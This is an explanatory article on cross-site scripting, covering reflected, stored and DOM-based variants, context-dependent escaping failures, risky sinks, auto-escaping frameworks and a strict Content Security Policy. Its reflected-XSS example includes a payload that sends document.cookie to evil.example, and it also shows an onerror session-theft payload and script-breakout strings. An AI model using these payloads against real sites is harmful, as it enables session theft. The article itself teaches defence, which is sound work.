Cross-site scripting is a JavaScript execution bug: attacker-controlled bytes end up parsed as code in a victim's browser, under the victim's origin. Escaping looks like the obvious fix, but escaping is context-dependent and most "escaped" output still executes. This article covers the three XSS flavors, why escaping fails in practice, and what actually contains the damage.
The Three Flavors
Reflected XSS: the payload travels in the request and immediately renders in the response. The canonical case is a search page:
<input value="<%= params[:q] %>">An attacker crafts a URL like:
https://shop.example/search?q="><script>fetch('//evil.example/s?'+document.cookie)</script>The reflected value closes the attribute, closes the tag, and injects a <script>. Execution is one navigation away — the attacker just needs the victim to click the link.
Stored XSS: the payload is persisted server-side and served to every future visitor. A comment field storing <img src=x onerror="stealSession()"> infects every user who loads the comment thread, including admins. Stored XSS is the dangerous one because no lure is needed — the site itself delivers the payload.
DOM-based XSS: the payload never reaches the server. It executes purely client-side when JavaScript reads attacker-controlled sources (location.hash, postMessage, document.referrer) and writes them to a sink:
const name = new URLSearchParams(location.search).get("name");
document.getElementById("greeting").innerHTML = "Hello " + name;location.search is attacker-controllable via link crafting, and innerHTML parses HTML. No server-side escaping can fix this — the vulnerable code never touched a server.
Why Escaping Is Not Enough
Escaping is a context-aware transform, and the browser has many contexts: HTML body, HTML attribute, URL, CSS, JavaScript string, event handler. A value correctly escaped for one context is still live in another:
<!-- Escaped for HTML body: -->
<script> → renders as text, safe
<!-- But the same value in an attribute without context-aware escaping: -->
<a href="javascript:alert(1)">link</a>Even solid escaping libraries fail when the framework interpolates into the wrong context — a JS string literal that is not additionally backslash-escaped breaks out:
var user = '<%= escapeHTML(username) %>';
// attacker: '</script><script>alert(1)</script>Note the </script>: the HTML parser terminates a script block on </script> before JavaScript parsing begins, so any escaping that only understands JavaScript still dies at the HTML layer. Multiple escapes compound: an HTML-escaped value inside a JavaScript context inside an HTML context needs up to three layered, ordered escapes.
The Sinks That Matter
Mitigation starts by knowing every sink where attacker data can become executable:
innerHTML,outerHTML,insertAdjacentHTML,document.write— parse HTMLeval(),Function(),setTimeout("string"),setInterval("string")— parse codeelement.href =,location =,window.open—javascript:URLs executepostMessagereceivers andJSON.parseof untrusted data feeding the above
The rule: never place untrusted data in any of them. For HTML injection points use textContent instead of innerHTML, or DOM APIs that construct nodes without parsing strings.
Escaping Done Right: Auto-Escaping Frameworks
Modern frameworks auto-escape by default — React escapes rendered text, Vue and Angular contextually escape, and template engines like Jinja2 with autoescape on escape HTML. The remaining bugs are:
dangerouslySetInnerHTML/v-html/| safe/autoescape off— explicit bypasses.- Client-side template concatenation that skips the framework's render path entirely.
- Legacy string-built markup in server-side components that never adopted the framework.
Audit every innerHTML and every safe filter; each one is a manual reimplementation of escaping, and manual escaping is where XSS survives.
CSP: Containing the Blast Radius
Content Security Policy cannot prevent injection, but it stops the injected script from being trusted. A strict policy has no script-src whitelist of unknown origins:
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'none'Inline scripts — the injection target — are blocked outright under script-src 'self' unless a nonce or hash admits them. DOM XSS payloads that build img.onerror or inline handlers are similarly blocked. CSP is the difference between "XSS executed" and "XSS thrown away by the browser."
Verdict
Escaping is necessary but it is not sufficient: it must be automatic, context-aware, and layered — HTML, attribute, URL, and JS contexts handled separately, framework defaults left on, and every manual bypass audited. DOM XSS shows the deeper truth: some injection is impossible to escape server-side because the server never saw the data. The defense stack is auto-escaping everywhere, a sink audit, and a strict CSP so that when one layer fails, the injected payload cannot execute.